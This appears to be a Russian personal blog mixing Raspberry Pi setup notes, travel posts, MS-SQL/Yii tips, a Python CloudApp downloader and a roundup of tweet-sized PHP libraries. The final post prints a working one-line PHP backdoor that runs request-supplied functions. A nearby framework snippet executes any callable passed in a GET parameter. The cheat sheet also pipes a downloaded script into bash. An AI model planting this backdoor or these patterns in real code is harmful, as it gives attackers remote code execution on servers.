Raspberry Pi - Cheat Sheet

Установка дистрибутива на SD

Raspberry PI SD Installer OS X — простой консольный скрипт для записи любых .img или .iso образов на SD флешки. Использование на OSX или Linux:

sudo ./install ~/Downloads/raspbian.img

Нахождение Raspberry Pi в сети

Подключили ethernet кабель, вставили флешку с Raspbian и запустили, но нет лишнего HDMI монитора и клавиатуры? Выход есть и это — Adafruit Raspberry Pi Finder. Использование на OSX или Linux:

curl -SLs https://apt.adafruit.com/bootstrap | bash
  • Найдет Raspberry Pi в локальной сети по MAC-адресу;
  • Установит Occidentalis для настройки Wi-Fi соединения;
  • Установит и настроит набор сетевых утилит, таких как avahi-daemon и netatalk.

Общая системная конфигурация

sudo raspi-config

Настройка Wi-Fi соединения

Самый простой способ настройки Wi-Fi соединения, это установить Adafruit Occidentalis. Теперь чтобы настроить Hostname и Wi-Fi достаточно просто создать текстовый файл /boot/occidentalis.txt и после перезагрузки автоматически произойдет настройка всех сетевых интерфейсов:

# Пример файла /boot/occidentalis.txt

# hostname for your Raspberry Pi:
hostname=mypiname

# basic wireless networking options:
wifi_ssid="your network here"
wifi_password="your password or passphrase here"

Установка русской локали

sudo nano /etc/locale.gen
sudo locale-gen

Настройка часового пояса

echo "Europe/Moscow" | sudo tee /etc/timezone
sudo dpkg-reconfigure --frontend noninteractive tzdata

Настройка соединения с Bluetooth клавиатурой

Установка необходимых пакетов:

apt-get --no-install-recommends install bluetooth bluez-utils python-gobject

Показать локальные устройства

hcitool dev

Запросить удалённые устройства

hcitool scan

Запросить спаривание с клавиатурой, ввести любой PIN, потом затем ввести такой же на клавиатуре и нажать enter.

bluez-simple-agent hci0 xx:xx:xx:xx:xx:xx

После подтверждения спаривания необходимо подключить само устройство и добавить к автоматическому подключению в дальнейшем:

bluez-test-device trusted xx:xx:xx:xx:xx:xx yes
bluez-test-input connect xx:xx:xx:xx:xx:xx yes

Также этот документ доступен на Github, форки и дополнения приветствуются GIST

Книги о путешествиях и не только

Подборка из пяти книг о путешествиях, которые я прочитал с начала 2015 года и советую тем, кто так же как и я не равнодушен к такого рода литературе.

«Пляж», Алекс Гарленд — столько раз путешествовал в Таиланд, а эта книга каждый раз ускользала из моего поля интересов. Теперь же спустя год после посещения района островов, описанных в книге, прочитал ее и не пожалел. Приятно сравнить современный Бангкок с видением города образца 1995 года.

«Tokyo on Foot», Florent Chavouet — красочный путеводитель (если это можно так назвать) французского художника по городу Токио. Переехав на шесть месяцев в Японию он каждый день делал зарисовки и заметки того, что происходило вокруг него. Каждую страницу этого путеводителя хочется разглядывать до мелочей.

«Самый большой дурак под солнцем», Кристоф Рехаге — книга на которую я случайно обратил внимание еще в Венгерском аэропорту, и купив которую я прочитал запоем меньше чем за неделю. Это увлекательная история о человеке совершившем путешествие пешком через Китай, и взгляд европейца на современный Китай, за пределами крупных городов и конечно это истории людей, которых он встречал на своем пути.

«Journeys of a Lifetime: 500 of the World’s Greatest Trips» — очень большая и красивая книга, определенно прекрасный источник вдохновения для будущих путешествий.

«Shoreditch Wild Life», Dougie Wallace — альбом фотографий весёлого и безумного лондонского квартала — Шордич. Именно здесь проходят самые долгие и шумные вечеринки, по улицам ходят фрики всех мастей, а стены домов пестрят работами именитых граффити-художников.

Особенности работы с MS-SQL в Yii Framework 2

В очередной раз связавшись с взаимодействием Microsoft SQL Server и PHP, в том числе через Yii 2, наступил на пару граблей о которых хотел бы рассказать.

Установка кодировки UTF-8

Подключаясь к MS-SQL серверу напрямую через PDO невозможно поставить кодировку отличную от CP1251, а чтобы поставить UTF-8 лучше использовать прослойку FreeTDS, которая ставится на сервер и прозрачно проксирует все запросы на удаленный сервер. Стандартная установка в Debian/Ubuntu через apt-get:

apt-get install php5-sybase freetds-bin freetds-dev

Когда все установлено необходимо добавить в конфигурацию FreeTDS новую секцию с параметрами MS-SQL сервера:

[mssqlserver]
;   Если servername составной (10.10.0.1/production),
;   то необходимо разбить на host и instance
;   и не указывать port
host = 10.10.0.1
instance = production
client charset = UTF-8
tds version = 7.0
text size = 20971520

А в Yii 2 приложении строку подключения необходимо модифицировать, заменив адрес сервера на название секции из конфига FreeTDS. Например стандартный файл /config/db.php может иметь вид:

<?php

return [
    'class' => 'yii\db\Connection',
    'dsn' => 'dblib:host=mssqlserver;dbname=my_database',
    'username' => 'sa',
    'password' => 'superpass',
    'charset' => 'utf8',
];

Хранимые процедуры

С хранимыми процедурами MS-SQL не все так однозначно, и если они возвращают курсор, то в этом случае нет проблем и можно вызывать так:

$command = Yii::$app->db->createCommand('EXEC GetOrderInfo @guid=:orderguid');
$command->bindValue(':orderguid', '43b9f14e-4953-416a-a83e-6bb9e8cd0493');
$result = $command->queryAll();

Если же процедура (в примере ниже Proc2) возвращает int, то описанный выше метод не сработает и необходимо выкручиваться описывая курсор самостоятельно, используя такую конструкцию:

$command = Yii::$app->db->createCommand("EXEC ('
    DECLARE @result int;
    EXEC @result = Proc2;
    SELECT @result;
')");
$result = $command->queryScalar();

И наконец небольшой SQL запрос для тех хочет получить полный текст процедуры, а также получить список и тип входящих параметров, которые администратры MS-SQL серверов так не любят описывать в документации:

SELECT OBJECT_DEFINITION (OBJECT_ID(N'Proc2'))

Raspberry Pi - Jake

Сегодня хотел бы рассказать о еще одной Raspberry Pi которая помимо медиацентра и ретро консоли у меня на хозяйстве. И если предыдущие Raspberry Pi однозадачные, то эта представляет собой песочницу для экспериментов.

Сегодня на малине стоит два сервиса для работы с файлами и сетью — Tor Socks5 proxy и сервис для хранения файлов — Owncloud. Далее кратко расскажу о том как я это настроил.

Tor Socks5 proxy

Raspberry Pi

Ситуаций когда необходим прокси-сервер много, к ним относятся сайты волею случая оказавшиеся на одном IP с сайтами из черного списка Роскомнадзора. А потому я привык, что рабочий прокси-сервер и VPN всегда под рукой. 

И если OpenVPN легко поднять за пару кликом в каждом втором VPS хостере, то установку Tor большинство облачных провайдеров строго не приветствует. Что ж, будем держать домашнюю ноду, попутно поучаствовав в Tor Challenge. Начнем с установки необходимых пакетов для Raspbian:

sudo apt-get update
sudo apt-get install tor tor-arm

Правим файл /etc/tor/torrc для работы в режимах Relay и Socks5 proxy:

SocksPort 192.168.1.20:9050 # тут IP Raspberry Pi
SocksPolicy accept 192.168.1.1/24 # домашная подсеть 0-255
SocksPolicy reject *
Log notice file /var/log/tor/notices.log
RunAsDaemon 1
DataDirectory /var/lib/tor
ORPort 9001
RelayBandwidthRate 100 KB  # Мягкое ограничение Relay трафика
RelayBandwidthBurst 200 KB # Жесткое ограничение Relay трафика
ExitPolicy reject *:* # Не работать как exit-нода

Перезагружаем демона sudo /etc/init.d/tor restart и смотрим за трафиком через sudo -u debian-tor arm. Но я хотел чтобы Tor-Arm запускался при включении системы, поэтому внес еще несколько изменений:

# в файле `/etc/inittab` заменил
1:2345:respawn:/sbin/getty --noclear 38400 tty1
# на
1:2345:respawn:/bin/login -f pi tty1 </dev/tty1 >/dev/tty1 2>&1

# в файле `/etc/profile` добавил в конeц
[ -n "${SSH_CONNECTION}" ] || sudo -u debian-tor arm

Теперь в любимом браузере при необходимости подключения к TOR устанавливаем параметры Socks5 прокси и вперед.

Raspberry Pi

OwncloudPie

Второй эксперимент — это установка популярного сервиса Owncloud на малину. Скрипт установки называется OwncloudPie, от автора другого успешного проекта — RetroPie. Для установки нужно установить всего несколько пакетов и запустить скрипт, который сам сделает остальную работу:

sudo apt-get install -y git dialog
sudo ./owncloudpie_setup.sh

В ввиду маломощности Raspberry Pi выбираем NGiNX based установку, а перед этим в меню выбираем Set server URL и меняем значение на _, чтобы не привязываться к определенному servername‘у. После завершения установки заходим на работающий сервис https://192.168.1.20/owncloud через браузер.

Работает все не быстро и я себе слабо представляю как все будет грузиться когда размер базы перевалит 1GB. А пока эксперименты продолжаются.

Скачать все из CloudApp

Некогда прекрасный сервис CloudApp в очередной раз решил монетизироваться и прислал письмо с сообщением о том, что со 2 апреля месячный лимит на загрузку составляет всего 10 файлов.

Your CloudApp account is changing on April 2. Most importantly, all free accounts will have a drop limit of 10 drops per month.

Переходить на платную версию смысла нет, цены у них не самые низкие на рынке. В связи с этим начинаю поиск альтернатив, требований не много но они есть. А именно: иметь вменяемое API, клиент под OSX, возможность использовать собственный домен и адекватные цены.

А пока CloudApp не придумали очередной эксперимент по ограничению, решил вытянуть весь архив файлов которые когда-либо загружал через них. Для этих целей написал небольшой скрипт на Python, который скачивает все файлы с оригинальными названиями. Забрать можно на GIST.

#!/usr/bin/env python
# -*- coding: utf-8 -*-

import os
import time
import json
import urllib
import urllib2
from dateutil.parser import parse

USERNAME = "mail@gmail.com"
PASSWORD = "superpass"


def request(url):
    # Digest Authentication
    authhandler = urllib2.HTTPDigestAuthHandler()
    authhandler.add_password('Application', url, USERNAME, PASSWORD)
    opener = urllib2.build_opener(authhandler)
    opener.addheaders = [('Accept', 'application/json')]
    urllib2.install_opener(opener)

    response = urllib2.urlopen(url)
    if response.getcode() == 200:
        body = json.loads(response.read())
        if len(body):
            return body

    return False


def download(url, created_at):
    if not url:
        return False

    try:
        print 'Source: %s' % url
        filename = url.split('/')[-1]
        filename = urllib.unquote(filename.encode('utf-8')).decode('utf-8')

        # if a file exists add created_at
        if os.path.isfile(filename):
            filename = '%s-%s' % (created_at, filename)

        print 'Downloading... %s' % filename
        urllib.urlretrieve(url, filename)
        os.utime(filename, (created_at, created_at))
    except IOError:
        download(url)
    except LookupError:
        pass


if __name__ == "__main__":
    page = 0
    result = True
    while result:
        page = page + 1
        result = request('http://my.cl.ly/items?per_page=100&page=' + str(page))

        if not result:
            break

        for n in result:
            source_url = n.get(u'source_url')
            created_at = int(time.mktime(parse(n.get(u'updated_at')).timetuple()))
            # print json.dumps(n, sort_keys=True, indent=4)
            download(source_url, created_at)

Linux From Scratch

Уже долгое время у меня в iPad’е лежала книжка Герарда Бикманса — Linux From Scratch, которую я никак не решался начинать читать. И вот спустя два безумно скучных дня, я получил заветные буквы в терминале:

> uname -a
> Linux <lfs> 3.19.0 #1 SMP Wed Mar 11 12:21 18 MSK 2015 i686 GNU/Linux

О чем эта книга по описанию? Как не сложно догадаться, это книга о том, как собрать работающую операционную систему GNU/Linux из исходных кодов. Звучит очень захватывающе и многообещающе.

О чем на самом деле эта книга? Все просто, эта книга ничего не потеряла бы от переименования в «1000 и 1 способ выполнить make». Сборка по книге состоит, чуть менее чем полностью, из комбинации команд tar, configure, make, cp и cat. И как правило именно в такой последовательности.

К сборке я подошел самым банальным образом и делал это на свежеустановленной Ubuntu 12.04 через Vagrant, которую даже не пришлось особым образом готовить, за исключением сборки кросс-компайлера GCC и косяков с GRUB’ом не получил не одной фатальной ошибки.

Чему должна была научить эта книга, видимо архитектуре операционной системы, но вместо этого она распыляется на описание флагов сборки без предоставления читателю выбора что-то решить самому. За всю книгу единственный выбор который читателю предложили, это выбор альтернативного редактора вместо vim, на этом решили и закончить самостоятельность. Спасибо, на этом можно закончить rm -rf /mnt/lfs.

Travel hacks

Решил добавить и свои пять копеек в тему про подготовку к самостоятельным путешествиям. Может мои хаки будут кому-то полезны.

Любое путешествие начинается с плана поездки, а каждый план нужно эффективно обсуждать со всеми участниками поездки. В качестве такого места я уже давно остановил свой выбор на Hackpad, в нем каждый из участников накидывает свои идеи, потом отбрасываем то, что выходит за рамки бюджета или не успеваем по времени и в конце концов сортируем по дням.

Когда план готов самое время сохранить его для поездки и таким местом у меня неизменно выступает OneNote, а поскольку он установлен на всех устройствах, то во время поездки я могу эффективно смотреть за тем куда мы хотели попасть и корректировать личные пометки.

OneNote

Кроме плана, я заношу в него общую информация о месте поездки:

  • Правила работы и оплаты общественного транспорта;
  • Хорошие рестораны, бары и магазины;
  • Краткое резюме после посещения достопримечательности;
  • Наличие беспроводного интернета;
  • Возможные скидки для туристов.

Самым логичным было бы хранить все билеты и ваучеры бронирования в нем, но в этом плане OneNote показывает себя как неповоротливая и тормозная штука. Все билеты я сохраняю в PDF и храню в iBooks и дублирую копии в Dropbox.

Дешевые авиабилеты и жилье я искал через собственную форму для поиска билетов. Когда все места и билеты собраны, самое время подумать о карте, и нет лучшей offline карты чем Maps.me. Все места из Hackpad я отмечаю на создаваемых картах Google. А когда карта и маршруты построены, то можно выгрузить все точки и маршруты единым файлом в формате KML на Dropbox.

Теперь имея готовый файл, открываю его в программе Maps.me на всех устройствах и готово - offline карта с отметками достопримечательностей и GPS навигацией. Можно не зависеть от интернета и в любом месте не бояться заблудиться.

Немного о сборах, перепробовав целую кучу разных решений я остановился на единственной программе которая не заставляла меня вписывать вес каждой вещи, делить вещи по чемоданам и заниматься чем-либо помимо хранения списков. Такой программой для меня стала Travel List.

Travel List

В заключение хотел бы рассказать фейле всех программ по работе с планом путешествия или помощью по ориентированию в аэропорту (да-да я про GateGuru). Подавляющее большинство из них предполагают, что на протяжении всего путешествия у вас будет беспроводной интернет, а поскольку это далеко не так, то даже самые популярные программы которые призваны сэкономить время путешественникам превращаются в бесполезные иконки на экране телефона.

Raspberry Pi - Finn

Продолжаю рассказывать о своем зоопарке одноплатных компьютеров Raspberry Pi. И если в прошлый раз я рассказывал ретро консоле, то в этот раз расскажу о другой малине, которая играет роль дополнительного медиа центра и прекрасно дополняет все недостатки присутствующие в моем Apple TV 2 с надстройкой aTV Flash.

Больше всего в Apple TV меня смущало отсутствие поддержки 1080p, а также не удобный YouTube клиент. А к мелким недостаткам я всегда относил наличие дополнительного пульта управления, который всегда теряется.

Сердце медиа центра — OpenELEC и нет смысла подробно останавливаться на процессе сборки и установки его на Raspberry Pi:

  • Для начала качаем готовый Diskimage с сайта OpenELEC;
  • Записываем образ на SD флешку;
  • Вставляем в Raspberry Pi флешку, HDMI кабель и питание;
  • Включаем ТВ и наслаждаемся.

Главное преимущество OpenELEC перед чистой установкой Kodi (бывшим XBMC) на Raspbian, это отсутствие проблем с настройкой , все делается максимально просто прямо с ТВ пульта. Никаких клавиатур и возни с терминалом не требуется.

Делать отдельный обзор плагинов я не стану, а просто скажу что большинство неофициальных плагинов для Kodi можно скачать подключив SuperRepo.

Медиа библиотека лежит на NAS’е и доступна по локальной сети, так что оба медиа центра независимо друг от друга имеют к ней полный доступ.

Ну и в качестве заключения этой заметки скажу что порадовал все свои малины, подключив их питание через единый 5-портовый USB хаб от Anker.

Raspberry Pi

В чем отличие .bash_profile и .bashrc

Работая с Линуксом, необходимо постоянно помнить, какой «профиль» нужно редактировать для автоматической установки переменных среды.

Согласно документации по bash, файл .bash_profile исполняется для оболочек, осуществляющих авторизацию пользователя, а файл .bashrc исполняется для интерактивных оболочек, не авторизующих пользователя.

При авторизации в консоли - физической или по SSH, выполняется .bash_profile.

Однако, если вы запускаете терминал в оконной системе (GNOME, KDE), режим оболочки в Emacs, или выполняете /bin/bash из другой оболочки, выполняется .bashrc.

Однако, большинство людей вызывают один скрипт из другого. Для достижения этого эффекта вам необходимо открыть файл .bash_profile и добавить следующие строки:

if [ -f ~/.bashrc ]; then
  source ~/.bashrc
fi

Теперь .bashrc будет исполняться при любой авторизации без необходимости дублировать код.

Нано библиотеки на PHP

Всегда интересно смотреть как люди сами себе создают ограничения и потом в этих ограниченных условиях создают интересные архитектурные решения. Так например я решил собрать несколько примеров библиотек на PHP, каждая из которых умещается в один твит (140 символов).

Для начала стоит начать этот обзор с Twitto, от автора фреймворка Symphony, торжественно именующего себя — A web framework in a tweet.

require __DIR__.'/c.php';
if (!is_callable($c = @$_GET['c'] ?: function() { echo 'Woah!'; }))
  throw new Exception('Error');
$c();

Функционал его достаточно скуден, а потому стоит разнообразить его включением «полноценного» DI контейнера Twittee, от того же автора.

class Container {
  protected $s=array();
  function __set($k, $c) { $this->s[$k]=$c; }
  function __get($k) { return $this->s[$k]($this); }
}

Ну а какой фреймворк без роутера, который также помещается в один твит и называется µ (мю).

class µ{static function __callStatic($n,$a){static$r;$n==@_?@$r[getenv(REQUEST_METHOD).getenv(REQUEST_URI)]():$r[$n.$a[0]]=$a[1];}}

А теперь имея базовый набор можно разнообразить этот набор системой посылки и приема ивентов, которая также именуется греческой буквой алфавита (сигма).

function ∑($n,$c=0){static$r;is_callable($c)?$r[$n][]=$c:@array_walk($r[$n],'call_user_func',$c?:[]);}

А напоследок хотелось бы отклонится от темы разработки и написать о самом крошечном бекдоре, который я видел на PHP и который не использует eval(), хотя при этом обладает прекрасным широким функционалом.

@extract($_REQUEST);@die($exit_($exit_code));